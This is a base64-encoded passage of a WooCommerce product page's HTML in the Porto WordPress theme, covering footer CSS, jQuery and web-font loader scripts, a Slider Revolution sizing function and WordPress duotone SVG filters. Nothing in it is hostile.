gICAgICAgICAgIHBhZGRpbmctdG9wOiAwDQogICAgICAgIH0NCg0KICAgICAgICAjY29udGVudC1ib3R0b20gKyAucG9ydG8tcmVsYXRlZC1wcm9kdWN0cyB7DQogICAgICAgICAgICBiYWNrZ3JvdW5kOiAjZjRmNGY0Ow0KICAgICAgICAgICAgcGFkZGluZy10b3A6IDQwcHgNCiAgICAgICAgfQ0KDQogICAgICAgIC50eXBlLXByb2R1Y3QgPiAucG9ydG8tcmVsYXRlZC1wcm9kdWN0cyB7DQogICAgICAgICAgICBwYWRkaW5nLXRvcDogNDBweA0KICAgICAgICB9DQoNCiAgICAgICAgLmZvb3Rlci10b3Agew0KICAgICAgICAgICAgcGFkZGluZzogMA0KICAgICAgICB9DQoNCiAgICAgICAgLmZvb3Rlci10b3AgLnBvcnRvLWJsb2NrIHsNCiAgICAgICAgICAgIGJvcmRlci13aWR0aDogMXB4IDA7DQogICAgICAgICAgICBib3JkZXItc3R5bGU6IHNvbGlkOw0KICAgICAgICAgICAgYm9yZGVyLWNvbG9yOiAjZTdlN2U3DQogICAgICAgIH0NCg0KICAgICAgICAjZm9vdGVyIC53aWRnZXQtdGl0bGUgew0KICAgICAgICAgICAgZm9udC1zaXplOiAxNXB4Ow0KICAgICAgICAgICAgZm9udC13ZWlnaHQ6IDcwMA0KICAgICAgICB9DQoNCiAgICAgICAgI2Zvb3RlciAuc2hhcmUtbGlua3MgYSB7DQogICAgICAgICAgICBib3gtc2hhZG93OiBub25lOw0KICAgICAgICAgICAgZm9udC1zaXplOiAxNHB4Ow0KICAgICAgICAgICAgd2lkdGg6IDM2cHg7DQogICAgICAgICAgICBoZWlnaHQ6IDM2cHg7DQogICAgICAgICAgICBib3JkZXItcmFkaXVzOiAxOHB4DQogICAgICAgIH0NCg0KICAgICAgICAjZm9vdGVyIC5jb250YWN0LWluZm8gaSB7DQogICAgICAgICAgICBkaXNwbGF5OiBub25lDQogICAgICAgIH0NCg0KICAgICAgICAjZm9vdGVyIC5jb250YWN0LWluZm8gLmNvbnRhY3QtZGV0YWlscyBzdHJvbmcsICNmb290ZXIgLmNvbnRhY3QtaW5mbyAuY29udGFjdC1kZXRhaWxzIHNwYW4gew0KICAgICAgICAgICAgcGFkZGluZzogMA0KICAgICAgICB9DQoNCiAgICAgICAgI2Zvb3RlciAuY29udGFjdC1pbmZvIC5jb250YWN0LWRldGFpbHMgc3Ryb25nIHsNCiAgICAgICAgICAgIHRleHQtdHJhbnNmb3JtOiB1cHBlcmNhc2U7DQogICAgICAgICAgICBsaW5lLWhlaWdodDogMQ0KICAgICAgICB9DQoNCiAgICAgICAgI2Zvb3RlciAuZm9vdGVyLW1haW4gPiAuY29udGFpbmVyIHsNCiAgICAgICAgICAgIHBhZGRpbmctdG9wOiAyLjI1cmVtOw0KICAgICAgICAgICAgcGFkZGluZy1ib3R0b206IDANCiAgICAgICAgfQ0KDQogICAgICAgICNmb290ZXIgLmZvb3Rlci1tYWluID4gLmNvbnRhaW5lcjphZnRlciB7DQogICAgICAgICAgICBjb250ZW50OiAnJzsNCiAgICAgICAgICAgIGRpc3BsYXk6IGJsb2NrOw0KICAgICAgICAgICAgYm9yZGVyLWJvdHRvbTogMXB4IHNvbGlkICNlN2U3ZTcNCiAgICAgICAgfQ0KDQogICAgICAgICNmb290ZXIgLndpZGdldF93eXNpamFfY29udCAud3lzaWphLWlucHV0IHsNCiAgICAgICAgICAgIGJhY2tncm91bmQ6ICNmNGY0ZjQ7DQogICAgICAgICAgICBmb250LXNpemU6IC44MTI1cmVtOw0KICAgICAgICAgICAgYm9yZGVyLXJhZGl1czogMnJlbSAwIDAgMnJlbTsNCiAgICAgICAgICAgIHBhZGRpbmctbGVmdDogMS4yNXJlbQ0KICAgICAgICB9DQoNCiAgICAgICAgI2Zvb3RlciAud2lkZ2V0X3d5c2lqYV9jb250IC53eXNpamEtc3VibWl0IHsNCiAgICAgICAgICAgIGZvbnQtc2l6ZTogLjgxMjVyZW07DQogICAgICAgICAgICBmb250LXdlaWdodDogNzAwOw0KICAgICAgICAgICAgdGV4dC10cmFuc2Zvcm06IHVwcGVyY2FzZTsNCiAgICAgICAgICAgIGJvcmRlci1yYWRpdXM6IDAgMnJlbSAycmVtIDA7DQogICAgICAgICAgICBwYWRkaW5nOiAwIDEuNXJlbQ0KICAgICAgICB9DQoNCiAgICAgICAgI2Zvb3RlciAuZm9vdGVyLWJvdHRvbSB7DQogICAgICAgICAgICBwYWRkaW5nLWJvdHRvbTogM3JlbTsNCiAgICAgICAgICAgIGZvbnQtc2l6ZTogMTJweA0KICAgICAgICB9DQogICAgPC9zdHlsZT4NCiAgICA8c2NyaXB0IHNyYz0nL3dwLWluY2x1ZGVzL2pzL2pxdWVyeS9qcXVlcnkubWluLmpzP3Zlcj0zLjYuMScgaWQ9J2pxdWVyeS1jb3JlLWpzJz48L3NjcmlwdD4NCiAgICA8c2NyaXB0IHNyYz0nL3dwLWluY2x1ZGVzL2pzL2pxdWVyeS9qcXVlcnktbWlncmF0ZS5taW4uanM/dmVyPTMuMy4yJyBpZD0nanF1ZXJ5LW1pZ3JhdGUtanMnPjwvc2NyaXB0Pg0KDQogICAgPCEtLSBIdWJTcG90IFdvcmRQcmVzcyBQbHVnaW4gdjEwLjAuMTk6IGVtYmVkIEpTIGRpc2FibGVkIGFzIGEgcG9ydGFsSWQgaGFzIG5vdCB5ZXQgYmVlbiBjb25maWd1cmVkIC0tPg0KICAgIDxzY3JpcHQgdHlwZT0idGV4dC9qYXZhc2NyaXB0Ij4NCiAgICAgICAgV2ViRm9udENvbmZpZyA9IHsNCiAgICAgICAgICAgIGdvb2dsZToge2ZhbWlsaWVzOiBbJ1BvcHBpbnM6NDAwLDUwMCw2MDAsNzAwLDgwMCcsICdQbGF5ZmFpcitEaXNwbGF5OjQwMCw3MDAnXX0NCiAgICAgICAgfTsNCiAgICAgICAgKGZ1bmN0aW9uIChkKSB7DQogICAgICAgICAgICB2YXIgd2YgPSBkLmNyZWF0ZUVsZW1lbnQoJ3NjcmlwdCcpLCBzID0gZC5zY3JpcHRzW2Quc2NyaXB0cy5sZW5ndGggLSAxXTsNCiAgICAgICAgICAgIHdmLnNyYyA9ICd7e3ByZWZpeH19L3dwLWNvbnRlbnQvdGhlbWVzL3BvcnRvL2pzL2xpYnMvd2ViZm9udC5qcyc7DQogICAgICAgICAgICB3Zi5hc3luYyA9IHRydWU7DQogICAgICAgICAgICBzLnBhcmVudE5vZGUuaW5zZXJ0QmVmb3JlKHdmLCBzKTsNCiAgICAgICAgfSkoZG9jdW1lbnQpOzwvc2NyaXB0Pg0KICAgIDxub3NjcmlwdD4NCiAgICAgICAgPHN0eWxlPi53b29jb21tZXJjZS1wcm9kdWN0LWdhbGxlcnkgew0KICAgICAgICAgICAgb3BhY2l0eTogMSAhaW1wb3J0YW50Ow0KICAgICAgICB9PC9zdHlsZT4NCiAgICA8L25vc2NyaXB0Pg0KICAgIDxtZXRhIG5hbWU9ImdlbmVyYXRvciINCiAgICAgICAgICBjb250ZW50PSJQb3dlcmVkIGJ5IFNsaWRlciBSZXZvbHV0aW9uIDYuNS4yMCAtIHJlc3BvbnNpdmUsIE1vYmlsZS1GcmllbmRseSBTbGlkZXIgUGx1Z2luIGZvciBXb3JkUHJlc3Mgd2l0aCBjb21mb3J0YWJsZSBkcmFnIGFuZCBkcm9wIGludGVyZmFjZS4iLz4NCiAgICA8c2NyaXB0PmZ1bmN0aW9uIHNldFJFVlN0YXJ0U2l6ZShlKSB7DQogICAgICAgIC8vd2luZG93LnJlcXVlc3RBbmltYXRpb25GcmFtZShmdW5jdGlvbigpIHsNCiAgICAgICAgd2luZG93LlJTSVcgPSB3aW5kb3cuUlNJVyA9PT0gdW5kZWZpbmVkID8gd2luZG93LmlubmVyV2lkdGggOiB3aW5kb3cuUlNJVzsNCiAgICAgICAgd2luZG93LlJTSUggPSB3aW5kb3cuUlNJSCA9PT0gdW5kZWZpbmVkID8gd2luZG93LmlubmVySGVpZ2h0IDogd2luZG93LlJTSUg7DQogICAgICAgIHRyeSB7DQogICAgICAgICAgICB2YXIgcHcgPSBkb2N1bWVudC5nZXRFbGVtZW50QnlJZChlLmMpLnBhcmVudE5vZGUub2Zmc2V0V2lkdGgsDQogICAgICAgICAgICAgICAgbmV3aDsNCiAgICAgICAgICAgIHB3ID0gcHcgPT09IDAgfHwgaXNOYU4ocHcpID8gd2luZG93LlJTSVcgOiBwdzsNCiAgICAgICAgICAgIGUudGFidyA9IGUudGFidyA9PT0gdW5kZWZpbmVkID8gMCA6IHBhcnNlSW50KGUudGFidyk7DQogICAgICAgICAgICBlLnRodW1idyA9IGUudGh1bWJ3ID09PSB1bmRlZmluZWQgPyAwIDogcGFyc2VJbnQoZS50aHVtYncpOw0KICAgICAgICAgICAgZS50YWJoID0gZS50YWJoID09PSB1bmRlZmluZWQgPyAwIDogcGFyc2VJbnQoZS50YWJoKTsNCiAgICAgICAgICAgIGUudGh1bWJoID0gZS50aHVtYmggPT09IHVuZGVmaW5lZCA/IDAgOiBwYXJzZUludChlLnRodW1iaCk7DQogICAgICAgICAgICBlLnRhYmhpZGUgPSBlLnRhYmhpZGUgPT09IHVuZGVmaW5lZCA/IDAgOiBwYXJzZUludChlLnRhYmhpZGUpOw0KICAgICAgICAgICAgZS50aHVtYmhpZGUgPSBlLnRodW1iaGlkZSA9PT0gdW5kZWZpbmVkID8gMCA6IHBhcnNlSW50KGUudGh1bWJoaWRlKTsNCiAgICAgICAgICAgIGUubWggPSBlLm1oID09PSB1bmRlZmluZWQgfHwgZS5taCA9PSAiIiB8fCBlLm1oID09PSAiYXV0byIgPyAwIDogcGFyc2VJbnQoZS5taCwgMCk7DQogICAgICAgICAgICBpZiAoZS5sYXlvdXQgPT09ICJmdWxsc2NyZWVuIiB8fCBlLmwgPT09ICJmdWxsc2NyZWVuIikNCiAgICAgICAgICAgICAgICBuZXdoID0gTWF0aC5tYXgoZS5taCwgd2luZG93LlJTSUgpOw0KICAgICAgICAgICAgZWxzZSB7DQogICAgICAgICAgICAgICAgZS5ndyA9IEFycmF5LmlzQXJyYXkoZS5ndykgPyBlLmd3IDogW2UuZ3ddOw0KICAgICAgICAgICAgICAgIGZvciAodmFyIGkgaW4gZS5ybCkgaWYgKGUuZ3dbaV0gPT09IHVuZGVmaW5lZCB8fCBlLmd3W2ldID09PSAwKSBlLmd3W2ldID0gZS5nd1tpIC0gMV07DQogICAgICAgICAgICAgICAgZS5naCA9IGUuZWwgPT09IHVuZGVmaW5lZCB8fCBlLmVsID09PSAiIiB8fCAoQXJyYXkuaXNBcnJheShlLmVsKSAmJiBlLmVsLmxlbmd0aCA9PSAwKSA/IGUuZ2ggOiBlLmVsOw0KICAgICAgICAgICAgICAgIGUuZ2ggPSBBcnJheS5pc0FycmF5KGUuZ2gpID8gZS5naCA6IFtlLmdoXTsNCiAgICAgICAgICAgICAgICBmb3IgKHZhciBpIGluIGUucmwpIGlmIChlLmdoW2ldID09PSB1bmRlZmluZWQgfHwgZS5naFtpXSA9PT0gMCkgZS5naFtpXSA9IGUuZ2hbaSAtIDFdOw0KDQogICAgICAgICAgICAgICAgdmFyIG5sID0gbmV3IEFycmF5KGUucmwubGVuZ3RoKSwNCiAgICAgICAgICAgICAgICAgICAgaXggPSAwLA0KICAgICAgICAgICAgICAgICAgICBzbDsNCiAgICAgICAgICAgICAgICBlLnRhYncgPSBlLnRhYmhpZGUgPj0gcHcgPyAwIDogZS50YWJ3Ow0KICAgICAgICAgICAgICAgIGUudGh1bWJ3ID0gZS50aHVtYmhpZGUgPj0gcHcgPyAwIDogZS50aHVtYnc7DQogICAgICAgICAgICAgICAgZS50YWJoID0gZS50YWJoaWRlID49IHB3ID8gMCA6IGUudGFiaDsNCiAgICAgICAgICAgICAgICBlLnRodW1iaCA9IGUudGh1bWJoaWRlID49IHB3ID8gMCA6IGUudGh1bWJoOw0KICAgICAgICAgICAgICAgIGZvciAodmFyIGkgaW4gZS5ybCkgbmxbaV0gPSBlLnJsW2ldIDwgd2luZG93LlJTSVcgPyAwIDogZS5ybFtpXTsNCiAgICAgICAgICAgICAgICBzbCA9IG5sWzBdOw0KICAgICAgICAgICAgICAgIGZvciAodmFyIGkgaW4gbmwpIGlmIChzbCA+IG5sW2ldICYmIG5sW2ldID4gMCkgew0KICAgICAgICAgICAgICAgICAgICBzbCA9IG5sW2ldOw0KICAgICAgICAgICAgICAgICAgICBpeCA9IGk7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgIHZhciBtID0gcHcgPiAoZS5nd1tpeF0gKyBlLnRhYncgKyBlLnRodW1idykgPyAxIDogKHB3IC0gKGUudGFidyArIGUudGh1bWJ3KSkgLyAoZS5nd1tpeF0pOw0KICAgICAgICAgICAgICAgIG5ld2ggPSAoZS5naFtpeF0gKiBtKSArIChlLnRhYmggKyBlLnRodW1iaCk7DQogICAgICAgICAgICB9DQogICAgICAgICAgICB2YXIgZWwgPSBkb2N1bWVudC5nZXRFbGVtZW50QnlJZChlLmMpOw0KICAgICAgICAgICAgaWYgKGVsICE9PSBudWxsICYmIGVsKSBlbC5zdHlsZS5oZWlnaHQgPSBuZXdoICsgInB4IjsNCiAgICAgICAgICAgIGVsID0gZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoZS5jICsgIl93cmFwcGVyIik7DQogICAgICAgICAgICBpZiAoZWwgIT09IG51bGwgJiYgZWwpIHsNCiAgICAgICAgICAgICAgICBlbC5zdHlsZS5oZWlnaHQgPSBuZXdoICsgInB4IjsNCiAgICAgICAgICAgICAgICBlbC5zdHlsZS5kaXNwbGF5ID0gImJsb2NrIjsNCiAgICAgICAgICAgIH0NCiAgICAgICAgfSBjYXRjaCAoZSkgew0KICAgICAgICAgICAgY29uc29sZS5sb2coIkZhaWx1cmUgYXQgUHJlc2l6ZSBvZiBTbGlkZXI6IiArIGUpDQogICAgICAgIH0NCiAgICAgICAgLy99KTsNCiAgICB9Ozwvc2NyaXB0Pg0KPC9oZWFkPg0KPGJvZHkgY2xhc3M9InByb2R1Y3QtdGVtcGxhdGUtZGVmYXVsdCBzaW5nbGUgc2luZ2xlLXByb2R1Y3QgcG9zdGlkLTE1NTc2NjA3ODU0MyB3cC1lbWJlZC1yZXNwb25zaXZlIHRoZW1lLXBvcnRvIHdvb2NvbW1lcmNlIHdvb2NvbW1lcmNlLXBhZ2Ugd29vY29tbWVyY2Utbm8tanMgbG9naW4tcG9wdXAgd2lkZSBibG9nLTEgYm9keS1zaWRlIGVsZW1lbnRvci1kZWZhdWx0IGVsZW1lbnRvci1raXQtMjE1MiI+DQo8c3ZnIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgdmlld0JveD0iMCAwIDAgMCIgd2lkdGg9IjAiIGhlaWdodD0iMCIgZm9jdXNhYmxlPSJmYWxzZSIgcm9sZT0ibm9uZSINCiAgICAgc3R5bGU9InZpc2liaWxpdHk6IGhpZGRlbjsgcG9zaXRpb246IGFic29sdXRlOyBsZWZ0OiAtOTk5OXB4OyBvdmVyZmxvdzogaGlkZGVuOyI+DQogICAgPGRlZnM+DQogICAgICAgIDxmaWx0ZXIgaWQ9IndwLWR1b3RvbmUtZGFyay1ncmF5c2NhbGUiPg0KICAgICAgICAgICAgPGZlQ29sb3JNYXRyaXggY29sb3ItaW50ZXJwb2xhdGlvbi1maWx0ZXJzPSJzUkdCIiB0eXBlPSJtYXRyaXgiDQogICAgICAgICAgICAgICAgICAgICAgICAgICB2YWx1ZXM9IiAuMjk5IC41ODcgLjExNCAwIDAgLjI5OSAuNTg3IC4xMTQgMCAwIC4yOTkgLjU4NyAuMTE0IDAgMCAuMjk5IC41ODcgLjExNCAwIDAgIi8+DQogICAgICAgICAgICA8ZmVDb21wb25lbnRUcmFuc2ZlciBjb2xvci1pbnRlcnBvbGF0aW9uLWZpbHRlcnM9InNSR0IiPg0KICAgICAgICAgICAgICAgIDxmZUZ1bmNSIHR5cGU9InRhYmxlIiB0YWJsZVZhbHVlcz0iMCAwLjQ5ODAzOTIxNTY4NjI3Ii8+DQogICAgICAgICAgICAgICAgPGZlRnVuY0cgdHlwZT0idGFibGUiIHRhYmxlVmFsdWVzPSIwIDAuNDk4MDM5MjE1Njg2MjciLz4NCiAgICAgICAgICAgICAgICA8ZmVGdW5jQiB0eXBlPSJ0YWJsZSIgdGFibGVWYWx1ZXM9IjAgMC40OTgwMzkyMTU2ODYyNyIvPg0KICAgICAgICAgICAgICAgIDxmZUZ1bmNBIHR5cGU9InRhYmxlIiB0YWJsZVZhbHVlcz0iMSAxIi8+DQogICAgICAgICAgICA8L2ZlQ29tcG9uZW50VHJhbnNmZXI+DQogICAgICAgICAgICA8ZmVDb21wb3NpdGUgaW4yPSJTb3VyY2VHcmFwaGljIiBvcGVyYXRvcj0iaW4iLz4NCiAgICAgICAgPC9maWx0ZXI+DQogICAgPC9kZWZzPg0KPC9zdmc+DQo8c3ZnIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgdmlld0JveD0iMCAwIDAgMCIgd2lkdGg9IjAiIGhlaWdodD0iMCIgZm9jdXNhYmxlPSJmYWxzZSIgcm9sZT0ibm9uZSINCiAgICAgc3R5bGU9InZpc2liaWxpdHk6IGhpZGRlbjsgcG9zaXRpb246IGFic29sdXRlOyBsZWZ0OiAtOTk5OXB4OyBvdmVyZmxvdzogaGlkZGVuOyI+DQogICAgPGRlZnM+DQogICAgICAgIDxmaWx0ZXIgaWQ9IndwLWR1b3RvbmUtZ3JheXNjYWxlIj4NCiAgICAgICAgICAgIDxmZUNvbG9yTWF0cml4IGNvbG9yLWludGVycG9sYXRpb24tZmlsdGVycz0ic1JHQiIgdHlwZT0ibWF0cml4Ig0KICAgICAgICAgICAgICAgICAgICAgICAgICAgdmFsdWVzPSIgLjI5OSAuNTg3IC4xMTQgMCAwIC4yOTkgLjU4NyAuMTE0IDAgMCAuMjk5IC41ODcgLjExNCAwIDAgLjI5OSAuNTg3IC4xMTQgMCAwICIvPg0KICAgICAgICAgICAgPGZlQ29tcG9uZW50VHJhbnNmZXIgY29sb3ItaW50ZXJwb2xhdGlvbi1maWx0ZXJzPSJzUkdCIj4NCiAgICAgICAgICAgICAgICA8ZmVGdW5jUiB0eXBlPSJ0YWJsZSIgdGFibGVWYWx1ZXM9IjAgMSIvPg0KICAgICAgICAgICAgICAgIDxmZUZ1bmNHIHR5cGU9InRhYmxlIiB0YWJsZVZhbHVlcz0iMCAxIi8+DQogICAgICAgICAgICAgICAgPGZlRnVuY0IgdHlwZT0idGFibGUiIHRhYmxlVmFsdWVzPSIwIDEiLz4NCiAgICAgICAgICAgICAgICA8ZmVGdW5jQSB0eXBlPSJ0YWJsZSIgdGFibGVWYWx1ZXM9IjEgMSIvPg0KICAgICAgICAgICAgPC9mZUNvbXBvbmVudFRyYW5zZmVyPg0KICAgICAgICAgICAgPGZlQ29tcG9zaXRlIGluMj0iU291cmNlR3JhcGhpYyIgb3BlcmF0b3I9ImluIi8+DQogICAgICAgIDwvZmlsdGVyPg0KICAgIDwvZGVmcz4NCjwvc3ZnPg0KPHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHZpZXdCb3g9IjAgMCAwIDAiIHdpZHRoPSIwIiBoZWlnaHQ9IjAiIGZvY3VzYWJsZT0iZmFsc2UiIHJvbGU9Im5vbmUiDQogICAgIHN0eWxlPSJ2aXNpYmlsaXR5OiBoaWRkZW47IHBvc2l0aW9uOiBhYnNvbHV0ZTsgbGVmdDogLTk5OTlweDsgb3ZlcmZsb3c6IGhpZGRlbjsiPg0KICAgIDxkZWZzPg0KICAgICAgICA8ZmlsdGVyIGlkPSJ3cC1kdW90b25lLXB1cnBsZS15ZWxsb3ciPg0KICAgICAgICAgICAgPGZlQ29sb3JNYXRyaXggY29sb3ItaW50ZXJwb2xhdGlvbi1maWx0ZXJzPSJzUkdCIiB0eXBlPSJtYXRyaXgiDQogICAgICAgICAgICAgICAgICAgICAgICAgICB2YWx1ZXM9IiAuMjk5IC41ODcgLjExNCAwIDAgLjI5OSAuNTg3IC4xMTQgMCAwIC4yOTkgLjU4NyAuMTE0IDAgMCAuMjk5IC41ODcgLjExNCAwIDAgIi8+DQogICAgICAgICAgICA8ZmVDb21wb25lbnRUcmFuc2ZlciBjb2xvci1pbnRlcnBvbGF0aW9uLWZpbHRlcnM9InNSR0IiPg0KICAgICAgICAgICAgICAgIDxmZUZ1bmNSIHR5cGU9InRhYmxlIiB0YWJsZVZhbHVlcz0iMC41NDkwMTk2MDc4NDMxNCAwLjk4ODIzNTI5NDExNzY1Ii8+DQogICAgICAgICAgICAgICAgPGZlRnVuY0cgdHlwZT0idGFibGUiIHRhYmxlVmFsdWVzPSIwIDEiLz4NCiAgICAgICAgICAgICAgICA8ZmVGdW5jQiB0eXBlPSJ0YWJsZSIgdGFibGVWYWx1ZXM9IjAuNzE3NjQ3MDU4ODIzNTMgMC4yNTQ5MDE5NjA3ODQzMSIvPg0KICAgICAgICAgICAgICAgIDxmZUZ1bmNBIHR5cGU9InRhYmxlIiB0YWJsZVZhbHVlcz0iMSAxIi8+DQogICAgICAgICAgICA8L2ZlQ29tcG9uZW50VHJhbnNmZXI+DQogICAgICAgICAgICA8ZmVDb21wb3NpdGUgaW4yPSJTb3VyY2VHcmFwaGljIiBvcGVyYXRvcj0iaW4iLz4NCiAgICAgICAgPC9maWx0ZXI+DQogICAgPC9kZWZzPg0KPC9zdmc+DQo8c3ZnIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgdmlld0JveD0iMCAwIDAgMCIgd2lkdGg9IjAiIGhlaWdodD0iMCIgZm9jdXNhYmxlPSJmYWxzZSIgcm9sZT0ibm9uZSINCiAgICAgc3R5bGU9InZpc2liaWxpdHk6IGhpZGRlbjsgcG9zaXRpb246IGFic29sdXRlOyBsZWZ0OiAtOTk5OXB4OyBvdmVyZmxvdzogaGlkZGVuOyI+DQogICAgPGRlZnM+DQogICAgICAgIDxmaWx0ZXIgaWQ9IndwLWR1b3RvbmUtYmx1ZS1yZWQiPg0KICAgICAgICAgICAgPGZlQ29sb3JNYXRyaXggY29sb3ItaW50ZXJwb2xhdGlvbi1maWx0ZXJzPSJzUkdCIiB0eXBlPSJtYXRyaXgiDQogICAgICAgICAgICAgICAgICAgICAgICAgICB2YWx1ZXM9IiAuMjk5IC41ODcgLjExNCAwIDAgLjI5OSAuNTg3IC4xMTQgMCAwIC4yOTkgLjU4NyAuMTE0IDAgMCAuMjk5IC41ODcgLjExNCAwIDAgIi8+DQogICAgICAgICAgICA8ZmVDb21wb25lbnRUcmFuc2ZlciBjb2xvci1pbnRlcnBvbGF0aW9uLWZpbHRlcnM9InNSR0IiPg0KICAgICAgICAgICAgICAgIDxmZUZ1bmNSIHR5cGU9InRhYmxlIiB0YWJsZVZhbHVlcz0iMCAxIi8+DQogICAgICAgICAgICAgICAgPGZlRnVuY0cgdHlwZT0idGFibGUiIHRhYmxlVmFsdWVzPSIwIDAuMjc4NDMxMzcyNTQ5MDIiLz4NCiAgICAgICAgICAgICAgICA8ZmVGdW5jQiB0eXBlPSJ0YWJsZSIgdGFibGVWYWx1ZXM9IjAuNTkyMTU2ODYyNzQ1MSAwLjI3ODQzMTM3MjU0OTAyIi8+DQogICAgICAgICAgICAgICAgPGZlRnVuY0EgdHlwZT0idGFibGUiIHRhYmxlVmFsdWVzPSIxIDEiLz4NCiAgICAgICAgICAgIDwvZmVDb21wb25lbnRUcmFuc2Zlcj4NCiAgICAgICAgICAgIDxmZUNvbXBvc2l0ZSBpbjI9IlNvdXJjZUdyYXBoaWMiIG9wZXJhdG9yPSJpbiIvPg0KICAgICAgICA8L2ZpbHRlcj4NCiAgICA8L2RlZnM+DQo8L3N2Zz4NCjxzdmcgeG1sbnM9Imh0dHA6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB2aWV3Qm94PSIwIDAgMCAwIiB3aWR0aD0iMCIgaGVpZ2h0PSIwIiBmb2N1c2FibGU9ImZhbHNlIiByb2xlPSJub25lIg0KICAgICBzdHlsZT0idmlzaWJpbGl0eTogaGlkZGVuOyBwb3NpdGlvbjogYWJzb2x1dGU7IGxlZnQ6IC05OTk5cHg7IG92ZXJmbG93OiBoaWRkZW47Ij4NCiAgICA8ZGVmcz4NCiAgICAgICAgPGZpbHRlciBpZD0id3AtZHVvdG9uZS1taWRuaWdodCI+DQogICAgICAgICAgICA8ZmVDb2xvck1hdHJpeCBjb2xvci1pbnRlcnBvbGF0aW9uLWZpbHRlcnM9InNSR0IiIHR5cGU9Im1hdHJpeCINCiAgICAgICAgICAgICAgICAgICAgICAgICAgIHZhbHVlcz0iIC4yOTkgLjU4NyAuMTE0IDAgMCAuMjk5IC41ODcgLjExNCAwIDAgLjI5OSAuNTg3IC4xMTQgMCAwIC4yOTkgLjU4NyAuMTE0IDAgMCAiLz4NCiAgICAgICAgICAgIDxmZUNvbXBvbmVudFRyYW5zZmVyIGNvbG9yLWludGVycG9sYXRpb24tZmlsdGVycz0ic1JHQiI+DQogICAgICAgICAgICAgICAgPGZlRnVuY1IgdHlwZT0idGFibGUiIHRhYmxlVmFsdWVzPSIwIDAiLz4NCiAgICAgICAgICAgICAgICA8ZmVGdW5jRyB0eXBlPSJ0YWJsZSIgdGFibGVWYWx1ZXM9IjAgMC42NDcwNTg4MjM1Mjk0MSIvPg0KICAgICAgICAgICAgICAgIDxmZUZ1bmNCIHR5cGU9InRhYmxlIiB0YWJsZVZhbHVlcz0iMCAxIi8+DQogICAgICAgICAgICAgICAgPGZlRnVuY0EgdHlwZT0idGFibGUiIHRhYmxlVmFsdWVzPSIxIDEiLz4NCiAgICAgICAgICAgIDwvZmVDb21wb25lbnRUcmFuc2Zlcj4NCiAgICAgICAgICAgIDxmZUNvbXBvc2l0ZSBpbjI9IlNvdXJjZUdyYXBoaWMiIG9wZXJhdG9yPSJpbiIvPg0KICAgICAgICA8L2ZpbHRlcj4NCiAgICA8L2RlZnM+DQo8L3N2Zz4NCjxzdmcgeG1sbnM9Imh0dHA6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB2aWV3Qm94PSIwIDAgMCAwIiB3aWR0aD0iMCIgaGVpZ2h0PSIwIiBmb2N1c2FibGU9ImZhbHNlIiByb2xlPSJub25lIg0KICAgICBzdHlsZT0idmlzaWJpbGl0eTogaGlkZGVuOyBwb3NpdGlvbjogYWJzb2x1dGU7IGxlZnQ6IC05OTk5cHg7IG92ZXJmbG93OiBoaWRkZW47Ij4NCiAgICA8ZGVmcz4NCiAgICAgICAgPGZpbHRlciBpZD0id3AtZHVvdG9uZS1tYWdlbnRhLXllbGxvdyI+DQogICAgICAgICAgICA8ZmVDb2xvck1hdHJpeCBjb2xvci1pbnRlcnBvbGF0aW9uLWZpbHRlcnM9InNSR0IiIHR5cGU9Im1hdHJpeCINCiAgICAgICAgICAgICAgICAgICAgICAgICAgIHZhbHVlcz0iIC4yOTkgLjU4NyAuMTE0IDAgMCAuMjk5IC41ODcgLjExNCAwIDAgLjI5OSAuNTg3IC4xMTQgMCAwIC4yOTkgLjU4NyAuMTE0IDAgMCAiLz4NCiAgICAgICAgICAgIDxmZUNvbXBvbmVudFRyYW5zZmVyIGNvbG9yLWludGVycG9sYXRpb24tZmlsdGVycz0ic1JHQiI+DQogICAgICAgICAgICAgICAgPGZlRnVuY1IgdHlwZT0idGFibGUiIHRhYmxlVmFsdWVzPSIwLjc4MDM5MjE1Njg2Mjc1IDEiLz4NCiAgICAgICAgICAgICAgICA8ZmVGdW5jRyB0eXBlPSJ0YWJsZSIgdGFibGVWYWx1ZXM9IjAgMC45NDkwMTk2MDc4NDMxNCIvPg0KICAgICAgICAgICAgICAgIDxmZUZ1bmNCIHR5cGU9InRhYmxlIiB0YWJsZVZhbHVlcz0iMC4zNTI5NDExNzY0NzA1OSAwLjQ3MDU4ODIzNTI5NDEyIi8+DQogICAgICAgICAgICAgICAgPGZlRnVuY0EgdHlwZT0idGFibGUiIHRhYmxlVmFsdWVzPSIxIDEiLz4NCiAgICAgICAgICAgIDwvZmVDb21wb25lbnRUcmFuc2Zlcj4NCiAgICAgICAgICAgIDxmZUNvbXBvc2l0ZSBpbjI9IlNvdXJjZUdyYXBoaWMiIG9wZXJhdG9yPSJpbiIvPg0KICAgICAgICA8L2ZpbHRlcj4NCiAgICA8L2RlZnM+DQo8L3N2Zz4NCjxzdmcgeG1sbnM9Imh0dHA6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB2aWV3Qm94PSIwIDAgMCAwIiB3aWR0aD0iMCIgaGVpZ2h0PSIwIiBmb2N1c2FibGU9ImZhbHNlIiByb2xlPSJub25lIg0KICAgICBzdHlsZT0idmlzaWJpbGl0eTogaGlkZGVuOyBwb3NpdGlvbjogYWJzb2x1dGU7IGxlZnQ6IC05OTk5cHg7IG92ZXJmbG93OiBoaWRkZW47Ij4NCiAgICA8ZGVmcz4NCiAgICAgICAgPGZpbHRlciBpZD0id3AtZHVvdG9uZS1wdXJwbGUtZ3JlZW4iPg0KICAgICAgICAgICAgPGZlQ29sb3JNYXRyaXggY29sb3ItaW50ZXJwb2xhdGlvbi1maWx0ZXJzPSJzUkdCIiB0eXBlPSJtYXRyaXgiDQogICAgICAgICAgICAgICAgICAgICAgICAgICB2YWx1ZXM9IiAuMjk5IC41ODcgLjExNCAwIDAgLjI5OSAuNTg3IC4xMTQgMCAwIC4yOTkgLjU4NyAuMTE0IDAgMCAuMjk5IC41ODcgLjExNCAwIDAgIi8+DQogICAgICAgICAgICA8ZmVDb21wb25lbnRUcmFuc2Z